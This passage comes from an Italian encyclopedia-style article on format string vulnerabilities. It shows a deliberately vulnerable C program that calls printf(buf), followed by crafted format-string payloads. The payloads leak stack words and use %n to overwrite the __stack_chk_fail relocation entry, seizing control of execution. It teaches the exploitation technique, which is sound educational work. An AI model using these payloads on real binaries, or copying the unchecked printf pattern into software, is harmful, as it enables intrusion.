in quanto in questo modo l'input dell'utente non viene validato. La stringa StringPointer potrebbe contenere una serie di specificatori di formato. Questo tipo di attacco, comunque, diventa sempre più difficile grazie alla diffusione di una maggiore consapevolezza della necessità di gestire i rischi associati alla programmazione e alla conseguente diffusione di tecniche di programmazione sicura.
=== Esempio (Linux/x86) ===
Dato il seguente [[programma (informatica)|programma]] [[C_(linguaggio)|C]] (compilato con l'opzione <code>-fstack-protector</code>)
<source lang="C">
#include <stdio.h>
main(int argc, char *argv[])
{
char buf[64];
strcpy(buf,argv[1]);
printf(buf);
};
</source>
sia <code>0x0804a010</code> l'indirizzo del record di [[rilocazione dinamica]] per la funzione <code>__stack_chk_fail</code>. Dopo aver verificato che l'inizio della stringa di formato è, nello [[stack]], a 8 word (di 4 byte) di distanza dal [[Puntatore_(programmazione)|puntatore]] a <code>buf</code>
<source lang="text">
# ./a.out `python -c 'print "AAAA" + "_0x%08x"*8'`
AAAA_0xbffff9ad_0x00000000_0x00000000_0xbffff894_0x00000000_0x00000000_0x00000000_0x41414141
</source>
con
<source lang="text">
gdb --args ./a.out `python -c 'print "\x10\xa0\x04\x08" + "\x12\xa0\x04\x08" + "%16697x%8$n%9$n" + "A"*41 + "!"'`
[...]
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
</source>
* scriviamo 2 word di 2 byte (<code>16697 + 8 = 0x4141</code>), agli indirizzi <code>0x0804a010 e 0x0804a012</code>, specificati all'inizio della [[Stringa_(informatica)|stringa]], a cui si accede, rispettivamente, con <code>%8$n</code> e <code>%9$n</code>
* la chiamata a <code>__stack_chk_fail</code> viene attivata da <code>"!"</code> che sovrascrive il primo byte dello [[stack canary]]
* <code>0x41414141</code> è in questo caso un indirizzo non valido, che genera quindi un [[Segmentation fault]].
Si fa uso del [[Puntatore_(programmazione)|puntatore]] a <code>__stack_chk_fail</code> anche in mancanza di altri [[puntatori a funzione]] richiamati successivamente all'istruzione vulnerabile.
== Collegamenti esterni ==
* {{en}}scut / team teso [http://julianor.tripod.com/teso-fs1-1.pdf Come sfruttare le Format String Vulnerabilities] v1.1 March 24, [[2001]]
|